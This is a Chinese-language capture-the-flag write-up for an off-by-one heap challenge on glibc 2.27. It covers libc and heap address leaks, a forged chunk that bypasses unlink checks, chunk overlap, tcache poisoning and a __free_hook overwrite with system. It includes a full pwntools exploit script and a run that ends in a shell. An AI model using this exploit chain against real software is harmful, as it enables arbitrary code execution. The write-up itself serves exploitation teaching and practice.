一道很经典的pwn题,思路一点都不偏,很适合练手,靶机环境是glibc-2.27。
源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/easy_pwn.zip 。
目录
溢出点
在add函数中有个明显的off by one
。
void __cdecl add()
{
int size; // [rsp+0h] [rbp-10h]
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
index = 0;
size = 0;
while ( index <= 9 && (&global_container)[2 * index] )
++index;
if ( index == 10 )
{
puts("no space.");
exit(1);
}
(&global_container)[2 * index] = (container **)malloc(0xF8uLL);
puts("size:");
__isoc99_scanf("%d", &size);
if ( size > 0xF8 )
{
puts("too large");
exit(1);
}
(&global_container)[2 * index + 1] = (container **)size;
puts("content:");
read_n_sub_A19((&global_container)[2 * index], (unsigned __int64)(&global_container)[2 * index + 1]);
}
read_n_sub_A19
void __fastcall read_n_sub_A19(_BYTE *buf, int length)
{
int v2; // [rsp+1Ch] [rbp-4h]
v2 = 0;
if ( length )
{
while ( 1 )
{
read(0, &buf[v2], 1uLL);
if ( v2 > length - 1 || !buf[v2] || buf[v2] == '\n' )
break;
++v2;
}
buf[v2] = 0;
buf[length] = 0; // off by one
}
else
{
*buf = 0;
}
}
思路
- 泄露glibc基地址,修改 index-7 为 no_in_use
- 泄露heap基地址
- 构造fake_chunk
- 通过chunk extend使得chunk重叠
- 控制tcache的fd
- 劫持__free_hook
泄露glibc基地址
原理就是绕过tcache
,利用unsorted bin
上残留的main_arena
的地址信息来计算出glibc的地址
。
for i in range(10):
add(0xf7, '\n')
for i in range(8):
delete(i)
add(0xf8, '\n')
for i in range(1, 7):
add(0xf7, '\n')
add(0xf7, '\n')
modify(7, 'a' * 8)
sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('7')
sh.recvuntil('a' * 8)
result = sh.recvuntil('\n')[:-1]
main_arena_96_addr = u64(result.ljust(8, '\0'))
# You should calculte the value by yourself
main_arena_96_offset = 0x3ebca0
main_arena_addr = main_arena_96_addr - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_base_addr = main_arena_96_addr - main_arena_96_offset
log.success('libc_base_addr: ' + hex(libc_base_addr))
add(0xf8, '\n')
的主要功能就是修改index_7
为no_in_use
,为了我们后面的chunk extend
。
main_arena_96_offset 需要根据不同的环境手动计算。
泄露heap基地址
计算heap
的地址和算glibc
的地址有点类似,但是对于绝大多数glibc
来说,这个偏移地址都是固定的。
modify(0, 'd')
sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('0')
result = sh.recvuntil('\n')[:-1]
heap_base_offset = 0x700
heap_base_addr = u64(result.ljust(8, '\0')) - ord('d') - heap_base_offset
log.success('heap_base_addr: ' + hex(heap_base_addr))
# pause()
将第一个字符修改为 d 是为了防止,调用puts函数时,被 NULL 截断。
计算方法如下:
先查看一下chunk
布局。
pwndbg> heap
0x55c8eddaa000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa250 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa350 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x55c8eddaa200,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa450 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x55c8eddaa300,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa550 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x55c8eddaa400,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa650 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x55c8eddaa500,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa750 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x55c8eddaa600,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa850 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x55c8eddaa764,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaa950 {
mchunk_prev_size = 0,
mchunk_size = 256,
fd = 0x6161616161616161,
bk = 0x7f22f8653ca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaaa50 PREV_INUSE {
mchunk_prev_size = 256,
mchunk_size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaab50 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55c8eddaac50 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 132017,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>
我们要计算的就是0x55c8eddaa764
和heap
基地址的偏移。
在查看heap的基地址:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55c8ec51d000 0x55c8ec51f000 r-xp 2000 0 /home/ex/test/pwn
0x55c8ec71e000 0x55c8ec71f000 r--p 1000 1000 /home/ex/test/pwn
0x55c8ec71f000 0x55c8ec720000 rw-p 1000 2000 /home/ex/test/pwn
0x55c8eddaa000 0x55c8eddcb000 rw-p 21000 0 [heap]
0x7f22f8268000 0x7f22f844f000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f22f844f000 0x7f22f864f000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f22f864f000 0x7f22f8653000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f22f8653000 0x7f22f8655000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f22f8655000 0x7f22f8659000 rw-p 4000 0
0x7f22f8659000 0x7f22f8680000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f22f8861000 0x7f22f8863000 rw-p 2000 0
0x7f22f8880000 0x7f22f8881000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f22f8881000 0x7f22f8882000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f22f8882000 0x7f22f8883000 rw-p 1000 0
0x7fffe09c1000 0x7fffe09e3000 rw-p 22000 0 [stack]
0x7fffe09e4000 0x7fffe09e7000 r--p 3000 0 [vvar]
0x7fffe09e7000 0x7fffe09e9000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
0x55c8eddaa000
就是heap
的基地址。
计算偏移:
pwndbg> p/x 0x55c8eddaa764-'d'-0x55c8eddaa000
$1 = 0x700
这里的0x700
就是对应脚本中的heap_base_offset
。
构造fake_chunk
由于index_0
指向的chunk和index_7
指向的chunk相邻,所以我们可以在index_0
上伪造一个fake_chunk
。
chunk_for_unlink_addr = heap_base_addr + 0x850 # index 0
fack_chunk_addr = chunk_for_unlink_addr + 0x10
layout = [
p64(0), # prev_size
p64(0x100 - 0x10), # size
# bypass unlink check
p64(fack_chunk_addr), # fd
p64(fack_chunk_addr), # bk
'c' * (0xf0 - 0x20),
p64(0x100 - 0x10), # prev_size
]
# pause()
modify(0, flat(layout))
这里设置 fake_chunk 的 fd 和 bk ,主要是为了绕过 unlink 的 双向链表完整性检查。至于 index 0 相对于 heap base addr 的偏移可以手动算出,而且大部分glibc的该偏移值是固定的。
chunk extend
原理就是先绕过tcache
,然后利用unsorted bin
free时,会向上和空闲的chunk合并的机制,因为我们在前面已经通过off by one
设置了index_7
为no_in_use
,所以可以直接触发该机制。那么执行之后,他就会和我们构造的fake_chunk
合并了。
# Instead of index_0, becasue we will use index_0 to control the fake chunk later
delete(8)
for i in range(1, 7):
delete(i)
# chunk extend
delete(7)
# pause()
这里我用index_8
来代替index_0
,因为index_0
之后要用来控制fake_chunk
.
在pause()
出暂停,来看看结果:
pwndbg> bin
tcachebins
0x100 [ 7]: 0x55a5d08e5260 —▸ 0x55a5d08e5360 —▸ 0x55a5d08e5460 —▸ 0x55a5d08e5560 —▸ 0x55a5d08e5660 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55a5d08e5860 —▸ 0x7ff285e93ca0 (main_arena+96) ◂— 0x55a5d08e5860
smallbins
empty
largebins
empty
pwndbg> p/x *(mchunkptr )0x55a5d08e5860
$1 = {
mchunk_prev_size = 0x0,
mchunk_size = 0x1f1,
fd = 0x7ff285e93ca0,
bk = 0x7ff285e93ca0,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363
}
可以看到合并之后size
就是就是0x1f0
。
控制tcache的fd
由于index_0
指向的chunk和unsorted bin
是重叠的,我们可以把unsorted bin
放到tcache
中,然后再控制其fd
。
for i in range(1, 8):
add(0xf7, '\n')
add(0xf7, '\n') # index 8
# for more space
delete(2)
delete(8)
layout2 = [
p64(0), # prev_size
p64(0x101), # size
p64(libc_base_addr + libc.symbols['__free_hook']), # fd
]
modify(0, flat(layout2))
# pause()
在pause()
停下看看运行结果:
pwndbg> bin
tcachebins
0x100 [ 2]: 0x5584fc962870 —▸ 0x7f2cb0b4e8e8 (__free_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5584fc962960 —▸ 0x7f2cb0b4cca0 (main_arena+96) ◂— 0x5584fc962960
smallbins
empty
largebins
empty
可以看到,我们已经可以控制__free_hook
。
劫持__free_hook
add(0, '\n') # index 2
add(0xf7, '\n')
modify(8, p64(libc_base_addr + libc.symbols['system']))
modify(0, 'e' * 16 + '/bin/sh\0')
sh.sendline('2')
sh.recvuntil('enter index:\n')
sh.sendline('2')
index 2
为我们可以控制的chunk,为了防止在delete
函数被memset
函数刷新内容,这里我设置它的size
为
0 ,然后用index 0
来控制它的内容。
至于我为什么不用 one gadget,主要原因是不稳定,而且可移植性很差。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
# context.log_level = 'debug'
context.arch = 'amd64'
sh = process("./pwn")
# elf = ELF("./many_notes")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Create a temporary file for GDB debugging
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass
def add(size, content):
sh.sendline('1')
sh.recvuntil('size:\n')
sh.sendline(str(size))
sh.recvuntil('content:\n')
sh.send(content)
sh.recvuntil('command:\n')
def delete(index):
sh.sendline('2')
sh.recvuntil('enter index:\n')
sh.sendline(str(index))
sh.recvuntil('command:\n')
def modify(index, content):
sh.sendline('4')
sh.recvuntil('enter index:\n')
sh.sendline(str(index))
sh.recvuntil('content:\n')
sh.send(content)
sh.recvuntil('command:\n')
sh.recvuntil('command:\n')
for i in range(10):
add(0xf7, '\n')
for i in range(8):
delete(i)
add(0xf8, '\n')
for i in range(1, 7):
add(0xf7, '\n')
add(0xf7, '\n')
modify(7, 'a' * 8)
sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('7')
sh.recvuntil('a' * 8)
result = sh.recvuntil('\n')[:-1]
main_arena_96_addr = u64(result.ljust(8, '\0'))
# You should calculte the value by yourself
main_arena_96_offset = 0x3ebca0
main_arena_addr = main_arena_96_addr - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_base_addr = main_arena_96_addr - main_arena_96_offset
log.success('libc_base_addr: ' + hex(libc_base_addr))
# pause()
modify(0, 'd')
sh.sendline('3')
sh.recvuntil('enter index:\n')
sh.sendline('0')
result = sh.recvuntil('\n')[:-1]
heap_base_offset = 0x700
heap_base_addr = u64(result.ljust(8, '\0')) - ord('d') - heap_base_offset
log.success('heap_base_addr: ' + hex(heap_base_addr))
# pause()
chunk_for_unlink_addr = heap_base_addr + 0x850 # index 0
fack_chunk_addr = chunk_for_unlink_addr + 0x10
layout = [
p64(0), # prev_size
p64(0x100 - 0x10), # size
# bypass unlink check
p64(fack_chunk_addr), # fd
p64(fack_chunk_addr), # bk
'c' * (0xf0 - 0x20),
p64(0x100 - 0x10), # prev_size
]
modify(0, flat(layout))
# Instead of index_0, becasue we will use index_0 to control the fake chunk later
delete(8)
for i in range(1, 7):
delete(i)
# chunk extend
delete(7)
# pause()
for i in range(1, 8):
add(0xf7, '\n')
add(0xf7, '\n') # index 8
# for more space
delete(2)
delete(8)
layout2 = [
p64(0), # prev_size
p64(0x101), # size
p64(libc_base_addr + libc.symbols['__free_hook']), # fd
]
modify(0, flat(layout2))
# pause()
add(0, '\n') # index 2
add(0xf7, '\n')
modify(8, p64(libc_base_addr + libc.symbols['system']))
modify(0, 'e' * 16 + '/bin/sh\0')
sh.sendline('2')
sh.recvuntil('enter index:\n')
sh.sendline('2')
sh.interactive()
运行实例
ex@Ex:~/test$ python2 ./exp.py
[+] Starting local process './pwn': pid 17034
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_arena_addr: 0x7f9b3e3eec40
[+] libc_base_addr: 0x7f9b3e003000
[+] heap_base_addr: 0x55d77511c000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
总结
感觉很棒的一道题,考察的都是基础内容的组合,整个题目其实并不难,但是很考验pwn选手的功底。